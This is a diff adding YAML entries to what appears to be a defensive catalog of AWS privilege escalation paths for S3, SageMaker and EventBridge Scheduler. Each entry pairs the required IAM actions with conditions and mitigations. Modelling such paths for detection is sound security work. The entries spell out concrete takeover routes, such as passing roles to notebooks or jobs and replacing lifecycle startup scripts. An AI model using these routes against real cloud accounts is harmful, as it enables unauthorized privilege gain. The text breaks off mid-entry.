0000000000..669b75ffa7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/s3.yaml @@ -0,0 +1,82 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon S3 privilege escalation techniques (artifact tampering only). +# Source: hacktricks-cloud aws-s3-privesc/README.md (rev a53b46392c). +# Uses {target.artifact_arn} and via_artifact_type (see header of lambda.yaml). S3 techniques only count when the +# written object is code/state that ANOTHER principal later executes; pure bucket data access is in _excluded_b.yaml. +# Service-specific S3 artifact entries live in glue.yaml, emr.yaml, sagemaker.yaml and elasticbeanstalk.yaml. + +- id: aws-s3-putbucketpolicy-self-grant + provider: aws + service: s3 + title: Grant the source principal GetObject on an exact S3 prefix through a bucket policy + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketpolicy--grant-your-principal-new-object-access + source_revision: e5a7b415ff + summary: The source uses s3:PutBucketPolicy on a same-account bucket to add a resource-policy Allow naming itself, gaining previously denied s3:GetObject on the reviewed prefix. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: s3:PutBucketPolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_s3_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["s3:GetObject on the exact reviewed bucket prefix"] + aggregate_as: "Reviewed S3 GetObject self-grants in {account}" + conditions: + - id: reviewed_effective_permission_differential + description: A unique collected aws_s3_policy_self_grant_evidence record must prove the exact source, owned bucket, prefix, policy principal and resource, accepted policy, prior denial and observed new GetObject access after guardrail review. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict s3:PutBucketPolicy on sensitive buckets, review policy changes granting the caller access and retain explicit denies for protected prefixes. + references: + - https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-policies.html + notes: The target is only the source's new GetObject permission on the reviewed bucket prefix. Missing, duplicate, partial or mismatched reviewed evidence creates no path. + +- id: aws-s3-accessgrants-self-grant + provider: aws + service: s3 + title: Vend a newly authorized S3 Access Grants READ session for the source principal + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3-access-grants--vend-a-new-prefix-scoped-read-session + source_revision: e036a395d3 + summary: The source registers a location with a passable role, creates a READ grant for itself and obtains a usable, prefix-scoped S3 STS session that newly allows GetObject. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: s3:CreateAccessGrantsLocation + resource: "{target.location_arn}" + - action: iam:PassRole + resource: "{target.role_arn}" + request_context: + iam:PassedToService: access-grants.s3.amazonaws.com + - action: s3:CreateAccessGrant + resource: "{target.grant_arn}" + - action: s3:GetDataAccess + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_s3_access_grants_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["s3:GetObject through the reviewed Access Grants session on the exact bucket prefix"] + aggregate_as: "Reviewed S3 Access Grants READ self-grants in {account}" + conditions: + - id: reviewed_scoped_access_grants_session + description: Unique collected evidence must bind the exact source, instance, registered location, passable role, source-named READ grant, successful GetDataAccess session, prefix scope, prior denial and observed new GetObject access. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Access Grants location and grant creation, PassRole, and GetDataAccess; review new grants to the requesting principal and their prefix scope. + references: + - https://docs.aws.amazon.com/AmazonS3/latest/API/API_control_GetDataAccess.html + - https://docs.aws.amazon.com/AmazonS3/latest/API/API_control_CreateAccessGrantsLocation.html + notes: The target is a bounded S3 permission, not the location role's full authority. Missing, duplicate, partial or mismatched session evidence creates no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/s3files.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/s3files.yaml new file mode 100644 index 0000000000..dc9e5255f1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/s3files.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon S3 Files privilege escalation techniques. +# Source: hacktricks-cloud aws-s3-files-privesc/README.md (rev 171e422299). +# Bounded impact: the passed role is exercised by the service for S3 synchronization only (no STS credentials returned). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml new file mode 100644 index 0000000000..6cc3a4b0dd --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml @@ -0,0 +1,541 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon SageMaker AI privilege escalation techniques. +# Source: hacktricks-cloud aws-sagemaker-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). + +- id: aws-sagemaker-passrole-createnotebookinstance + provider: aws + service: sagemaker + title: Create a notebook instance with a passed role and open it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#iampassrole--sagemakercreatenotebookinstance-sagemakercreatepresignednotebookinstanceurl + source_revision: 171e422299 + summary: The source can create and open a SageMaker notebook using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_new_notebook_creation_and_url_authorized + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: presigned_url_source_ip + description: aws:SourceIp / VPC endpoint conditions on presigned URL use may restrict access to the notebook. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles with iam:PassedToService and limit notebook creation to data-science admins. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateNotebookInstance.html + notes: A single unused notebook name in one Region must be permitted for both creation and presigned URL access. Creation can omit tags, VPC, KMS, and private code repositories. + +- id: aws-sagemaker-createpresignednotebookinstanceurl + provider: aws + service: sagemaker + title: Open an existing notebook instance via a presigned URL + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatepresignednotebookinstanceurl + source_revision: 171e422299 + summary: The source can obtain the privileges of the role of existing SageMaker notebook instances in Resource scope. + requires: + all_of: + - action: sagemaker:CreatePresignedNotebookInstanceUrl + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_notebook_instance + scope: same_account + aggregate_as: "Roles of existing SageMaker notebook instances in {account}" + preconditions: + - sagemaker_notebook_instance_accessible + conditions: + - id: notebook_in_service + description: The notebook must be InService, or Stopped with a supported platform and permission to start it; root access/terminal may be disabled by lifecycle configuration but the role is still usable from the kernel. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope sagemaker:CreatePresignedNotebookInstanceUrl to the owner's notebooks (tags) and keep notebook roles least-privileged. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreatePresignedNotebookInstanceUrl.html + notes: Only existing notebook instances in Resource scope. + +- id: aws-sagemaker-createpresigneddomainurl + provider: aws + service: sagemaker + title: Mint a Studio login URL for an existing user profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatepresigneddomainurl + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of SageMaker Studio user profiles in Resource scope. + requires: + all_of: + - action: sagemaker:CreatePresignedDomainUrl + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_user_profile + scope: same_account + aggregate_as: "Execution roles of SageMaker Studio user profiles in {account}" + preconditions: + - sagemaker_studio_profile_iam_domain_ready + conditions: + - id: iam_domain_and_profile + description: The profile and its domain must be InService, and the domain must use IAM authentication. + - id: network_restriction + description: Domains in VPC-only mode or with aws:SourceIp / aws:sourceVpce conditions may block use of the URL. + - id: executable_profile_app + description: Running code under the profile execution role needs an InService code app, or CreateApp and AddTags permission to create one for the profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope CreatePresignedDomainUrl to the caller's own profile (e.g. sagemaker:ResourceTag/owner = aws:username) and keep execution roles least-privileged. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreatePresignedDomainUrl.html + notes: Role is the profile's UserSettings.ExecutionRole, or the domain DefaultUserSettings.ExecutionRole if the profile has none. The URL signs in to the domain; code execution depends on an app using that role. + +- id: aws-sagemaker-passrole-createprocessingjob + provider: aws + service: sagemaker + title: Create a Processing job with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreateprocessingjob-iampassrole + source_revision: 171e422299 + summary: The source can run a SageMaker processing job with code it controls using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com + - action: sagemaker:CreateProcessingJob + resource: arn:{source.partition}:sagemaker:*:{source.account}:processing-job/* + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_processing_inline_entrypoint_route + conditions: + - id: managed_image_and_capacity + description: A compatible SageMaker-managed Python image and the selected processing instance must be available in the Region. + - id: job_running + description: The created job must reach running state with network isolation off before its inline entrypoint can use the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and use SageMaker condition keys (approved images, network isolation) on job creation. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateProcessingJob.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_sagemaker.html + notes: CreateProcessingJob authorizes the caller-selected processing-job ARN. AppSpecification.ContainerEntrypoint can select caller-supplied Python code in a SageMaker-managed image, which SageMaker pulls with service-owned credentials. The precondition joins one free job name, the exact creation and PassRole grants, compatible service trust, and a non-isolated instance request. Image availability, instance capacity and successful job startup remain conditional. + +- id: aws-sagemaker-passrole-createtrainingjob + provider: aws + service: sagemaker + title: Create a Training job with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatetrainingjob-iampassrole + source_revision: 171e422299 + summary: The source can run a SageMaker training job with code it controls using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com + - action: sagemaker:CreateTrainingJob + resource: arn:{source.partition}:sagemaker:*:{source.account}:training-job/* + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_training_inline_entrypoint_route + conditions: + - id: managed_image_and_capacity + description: A compatible SageMaker-managed Python image and selected training instance must be available in the Region. + - id: job_running + description: The created job must reach running state with network isolation off before its inline entrypoint can use the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and enforce approved images/network isolation via condition keys. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateTrainingJob.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_sagemaker.html + notes: CreateTrainingJob authorizes the caller-selected training-job ARN and accepts caller-supplied ContainerEntrypoint and ContainerArguments. SageMaker-managed images are pulled with service-owned credentials, while OutputDataConfig requires an S3 path writable by the passed role. A free job name, exact creation and PassRole permissions, service trust, non-isolated request and viable output path still need a joined execution witness. + +- id: aws-sagemaker-passrole-createhyperparametertuningjob + provider: aws + service: sagemaker + title: Create a Hyperparameter Tuning job with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatehyperparametertuningjob-iampassrole + source_revision: 171e422299 + summary: The source can launch SageMaker training jobs through a tuning job using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com + - action: sagemaker:CreateHyperParameterTuningJob + resource: arn:{source.partition}:sagemaker:*:{source.account}:hyper-parameter-tuning-job/* + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_hpo_script_mode_route + conditions: + - id: managed_image_and_capacity + description: A compatible SageMaker-managed Python training image and instance must be available in the Region. + - id: child_job_running + description: The tuning job must start a training job with network isolation off before its script can use the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:CreateHyperParameterTuningJob. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateHyperParameterTuningJob.html + notes: A tuning job can launch training jobs under the passed role. Its definition accepts script-mode hyperparameters but no inline ContainerEntrypoint, so the source must write a code archive that the role can read. Input channels are optional, while OutputDataConfig requires a same-Region S3 path writable by the role. The precondition joins these S3 grants, a free tuning-job name, exact creation and PassRole permissions and service trust; image availability, capacity and child-job startup remain conditional. + +- id: aws-sagemaker-updateuserprofile-passrole-createapp + provider: aws + service: sagemaker + title: Swap a Studio user profile's execution role and launch an app + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdateuserprofile-iampassrole-sagemakercreateapp-sagemakercreatepresigneddomainurl-sagemakerdeleteapp + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting sagemaker.amazonaws.com via a Studio user profile. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com + - action: sagemaker:UpdateUserProfile + resource: "*" + - action: sagemaker:CreateApp + resource: "*" + - action: sagemaker:CreatePresignedDomainUrl + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_existing_profile_role_swap_route + conditions: + - id: no_inservice_apps + description: UpdateUserProfile fails while the profile has InService apps; sagemaker:DeleteApp is needed if any exist. + - id: same_profile_scope + description: UpdateUserProfile, CreateApp and CreatePresignedDomainUrl must all cover the same user profile/app ARNs. + - id: not_unified_studio + description: Unified Studio domains reject presigned domain URLs. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:UpdateUserProfile to platform admins. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateUserProfile.html + notes: The precondition joins one InService profile in an IAM domain to exact UpdateUserProfile, CreateApp, CreatePresignedDomainUrl, PassRole and app tagging grants, and checks that the target role trusts SageMaker. A profile with existing apps needs a separate app-state and restart analysis. The role update, new app start and URL access remain conditional. + +- id: aws-sagemaker-updatedomain-createuserprofile-passrole + provider: aws + service: sagemaker + title: Change a Studio domain's default execution role and create a profile inheriting it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdatedomain-sagemakercreateuserprofile-sagemakercreateapp-iampassrole-sagemakercreatepresigneddomainurl-sagemakerdeleteapp + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting sagemaker.amazonaws.com via the Studio domain default. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com + - action: sagemaker:UpdateDomain + resource: "*" + - action: sagemaker:CreateUserProfile + resource: "*" + - action: sagemaker:CreateApp + resource: "*" + - action: sagemaker:CreatePresignedDomainUrl + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_domain_default_new_profile_route + conditions: + - id: no_inservice_apps_in_domain + description: UpdateDomain fails while any app in the domain is InService; sagemaker:DeleteApp on all of them is needed otherwise (disruptive). + - id: not_unified_studio + description: Unified Studio domains reject presigned domain URLs. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:UpdateDomain/CreateUserProfile to platform admins. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateDomain.html + notes: This inherited-default variant changes one IAM-authenticated domain before creating a profile without an explicit role. The precondition joins the domain and a complete app inventory with no existing app, a free profile name, exact UpdateDomain, CreateUserProfile, CreateApp and CreatePresignedDomainUrl grants, app tagging permission, PassRole and service trust. Domain update, profile creation, app start and URL access remain conditional. A direct explicit-role variant is modelled separately. + +- id: aws-sagemaker-createuserprofile-passrole-createapp + provider: aws + service: sagemaker + title: Create a Studio user profile with an explicit passed execution role and launch an app + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdatedomain-sagemakercreateuserprofile-sagemakercreateapp-iampassrole-sagemakercreatepresigneddomainurl-sagemakerdeleteapp + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting sagemaker.amazonaws.com by setting it as the execution role of a new Studio user profile. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com + - action: sagemaker:CreateUserProfile + resource: "*" + - action: sagemaker:CreateApp + resource: "*" + - action: sagemaker:CreatePresignedDomainUrl + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_new_profile_app_route + conditions: + - id: existing_domain + description: A Studio domain covered by CreateUserProfile must exist; CreateApp and CreatePresignedDomainUrl must cover the new profile and app ARNs. + - id: not_unified_studio + description: Unified Studio domains reject presigned domain URLs. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:CreateUserProfile to platform admins. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateUserProfile.html + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UserSettings.html + notes: This explicit-role variant of the UpdateDomain section sets UserSettings.ExecutionRole on a new profile. The precondition joins an IAM-authenticated domain, a free valid profile name, exact CreateUserProfile, PassRole, CreateApp and CreatePresignedDomainUrl grants, app tagging permission and SageMaker service trust. The profile request omits optional tags. Profile creation, app startup and URL access remain conditional. + +- id: aws-sagemaker-updateclustersoftware-custom-ami + provider: aws + service: sagemaker + title: Replace HyperPod instance-group nodes with a custom AMI that keeps the group's execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdateclustersoftware--replace-hyperpod-nodes-with-a-custom-ami + source_revision: 171e422299 + summary: The source can obtain the privileges of the instance-group execution roles of HyperPod clusters it can update, by booting their nodes from an image it controls. + requires: + all_of: + - action: sagemaker:UpdateClusterSoftware + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_cluster + scope: same_account + aggregate_as: "Execution roles of HyperPod instance groups in {account}" + preconditions: + - sagemaker_hyperpod_custom_ami_group_role_effect + conditions: + - id: controlled_custom_ami + description: A custom AMI with attacker-controlled startup code must already be available to the account and meet HyperPod's encryption and volume constraints; creating it needs separate EC2 permissions. + - id: slurm_default_ami + description: Slurm-orchestrated groups on the default HyperPod AMI cannot be switched to a custom AMI by this operation. + - id: disruptive + description: The update replaces node root volumes and interrupts running workloads. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict sagemaker:UpdateClusterSoftware to platform administrators on specific cluster ARNs, restrict who can create or share AMIs, and keep instance-group roles least-privileged. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateClusterSoftware.html + notes: No role is passed, so iam:PassRole is not required. AWS does not permit UpdateClusterSoftware to switch a Slurm group from the default AMI to a custom one; a previous custom AMI is needed for that variant. A concrete edge requires the exact InService cluster and instance group to retain the target role, current authorization to update that cluster, and fresh reviewed evidence that an owned compatible unencrypted single-volume custom AMI was applied, nodes booted controlled startup code, and a useful role-only action succeeded. Missing or conflicting update evidence remains unresolved. + +- id: aws-sagemaker-attach-notebook-lifecycle-config + provider: aws + service: sagemaker + title: Attach a controlled lifecycle configuration to an existing notebook instance + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-notebook-instances + source_revision: b587e6bd26 + summary: The source can run startup code with an existing notebook instance's execution role by attaching a controlled lifecycle configuration. + requires: + all_of: + - action: sagemaker:CreateNotebookInstanceLifecycleConfig + resource: "arn:{source.partition}:sagemaker:*:{source.account}:notebook-instance-lifecycle-config/*" + - action: sagemaker:UpdateNotebookInstance + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_notebook_instance + scope: same_account + aggregate_as: Roles of notebook instances whose lifecycle configuration can be replaced in {account} + outcome: workload_execution + preconditions: + - sagemaker_attach_new_notebook_lifecycle_config + conditions: + - id: notebook_restart + description: The notebook must be stopped for the configuration change and started afterward so the startup hook executes. + - id: controlled_configuration + description: The source must create a lifecycle configuration containing code that uses the notebook role's authority. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit notebook lifecycle-configuration creation and attachment to trusted deployment principals, and review lifecycle script content. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateNotebookInstance.html + notes: This differs from rewriting an already-attached lifecycle configuration, which is covered by aws-sagemaker-updatenotebookinstancelifecycleconfig. + +- id: aws-sagemaker-updatenotebookinstancelifecycleconfig + provider: aws + service: sagemaker + title: Replace the startup script of an attached notebook lifecycle configuration + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdatenotebookinstancelifecycleconfig--stored-code-execution-as-the-notebook-role + source_revision: ad7429a974 + summary: The source can replace an existing lifecycle configuration used by a notebook and run code under that notebook's execution role on its next start. + requires: + all_of: + - action: sagemaker:UpdateNotebookInstanceLifecycleConfig + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_notebook_instance + scope: same_account + aggregate_as: Roles of notebooks using a lifecycle configuration the source can update in {account} + outcome: workload_execution + preconditions: + - sagemaker_attached_notebook_lifecycle_update + conditions: + - id: future_notebook_start + description: The edited OnStart hook executes only when the attached notebook starts again; the source may need another authorized principal to perform that start. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit updates to notebook lifecycle configurations used by privileged notebooks and review their scripts before restarting those notebooks. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateNotebookInstanceLifecycleConfig.html + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_DescribeNotebookInstance.html + - https://docs.aws.amazon.com/sagemaker/latest/dg/nbi-al2.html + notes: The evaluator joins the exact collected NotebookInstanceLifecycleConfigName, notebook ARN and RoleArn in one account and Region, then checks UpdateNotebookInstanceLifecycleConfig on that configuration ARN. A future start and the script's actual outcome remain conditional. Stopped AL1 and AL2 notebooks cannot restart on their retired platforms. + +- id: aws-sagemaker-attach-studio-lifecycle-config-user-profile + provider: aws + service: sagemaker + title: Attach a controlled Studio lifecycle configuration to an existing user profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-sagemaker-studio + source_revision: b587e6bd26 + summary: The source can run startup code with a Studio user profile's execution role by attaching a controlled lifecycle configuration. + requires: + all_of: + - action: sagemaker:CreateStudioLifecycleConfig + resource: "arn:{source.partition}:sagemaker:*:{source.account}:studio-lifecycle-config/*" + - action: sagemaker:UpdateUserProfile + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_user_profile + scope: same_account + aggregate_as: Roles of Studio user profiles with updatable lifecycle settings in {account} + outcome: workload_execution + preconditions: + - sagemaker_studio_profile_lcc_route + conditions: + - id: studio_app_start + description: The profile's compatible Studio app must start with the new lifecycle configuration so the script runs. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict Studio lifecycle-configuration creation and user-profile updates and review startup scripts on profiles with privileged roles. + references: + - https://docs.aws.amazon.com/sagemaker/latest/dg/studio-lcc.html + notes: The precondition joins one free JupyterLab or CodeEditor lifecycle-configuration name, the exact user profile and role, CreateStudioLifecycleConfig and UpdateUserProfile permissions, and a creatable app of the same type. Existing apps or incomplete profile, domain, app or lifecycle inventories remain unresolved. Domain defaults and shared spaces need separate joins. + +- id: aws-sagemaker-attach-studio-lifecycle-config-shared-space + provider: aws + service: sagemaker + title: Attach controlled startup code to an existing shared Studio space + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-sagemaker-studio + source_revision: b587e6bd26 + summary: The source can attach a new lifecycle configuration to a shared space and start a matching app using its recorded execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_space + scope: same_account + aggregate_as: Roles of shared Studio spaces whose startup code the source can change in {account} + outcome: workload_execution + preconditions: + - sagemaker_studio_shared_space_lcc_route + conditions: + - id: successful_space_app_start + description: The space update and later app creation must succeed so the new startup script executes. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict Studio lifecycle-configuration creation, UpdateSpace and CreateApp on shared spaces using privileged roles to trusted operators. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateSpace.html + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateApp.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_sagemaker.html + notes: The evaluator uses the collected shared space's exact ARN, app type and execution role. It checks a free compatible lifecycle-configuration name, CreateStudioLifecycleConfig, UpdateSpace with the configuration ARN context, and CreateApp plus AddTags on the matching new app. Existing apps, private spaces and incomplete inventory stay unresolved. Startup execution remains conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/scheduler.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/scheduler.yaml new file mode 100644 index 0000000000..02d84b1135 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/scheduler.yaml @@ -0,0 +1,79 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EventBridge Scheduler privilege escalation techniques. +# Source: hacktricks-cloud eventbridgescheduler-privesc/README.md (rev 171e422299). + +- id: aws-scheduler-passrole-createschedule-or-updateschedule + provider: aws + service: scheduler + title: Create a schedule that adds an IAM permission to its creator + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md#iampassrole-schedulercreateschedule--schedulerupdateschedule + source_revision: 171e422299 + summary: The source can schedule a role-authorized IAM inline-policy write to itself and gain a new IAM permission. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: iam:PassRole + resource: "{target.role_arn}" + request_context: + iam:PassedToService: scheduler.amazonaws.com + - action: scheduler:CreateSchedule + resource: "{target.resource_arn}" + target: + kind: aws_verified_authority + selector: + aws_scheduler_iam_self_grant: true + scope: same_account + aggregate_as: "Scheduler IAM inline-policy self-grants in {account}" + outcome: permission_grant + grants: ["iam:CreateUser after a scheduled inline-policy write to the exact source principal"] + conditions: + - id: scheduled_iam_policy_write + description: The new schedule must run and its configured IAM inline-policy call must succeed before the source gains the permission. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict schedule creation and iam:PassRole to approved execution roles, and prevent those roles from changing their creators' IAM policies. + references: + - https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html + - https://docs.aws.amazon.com/scheduler/latest/UserGuide/setting-up.html + notes: The exact new schedule is in the default group. The passed role must trust Scheduler for that schedule and have effective iam:PutUserPolicy or iam:PutRolePolicy on the source IAM principal. The source must lack effective iam:CreateUser beforehand, and its boundary, organization and explicit-deny controls must permit that action after the inline policy is added. The scheduled call and later use remain conditional. The former generic passed-role edge remains excluded. +- id: aws-scheduler-passrole-updateschedule-self-grant + provider: aws + service: scheduler + title: Update an existing schedule to add an IAM permission to its editor + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md#iampassrole-schedulercreateschedule--schedulerupdateschedule + source_revision: cfbbb8b6f8 + summary: The source can update an existing schedule so a role-authorized IAM inline-policy write grants it a new permission. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: iam:PassRole + resource: 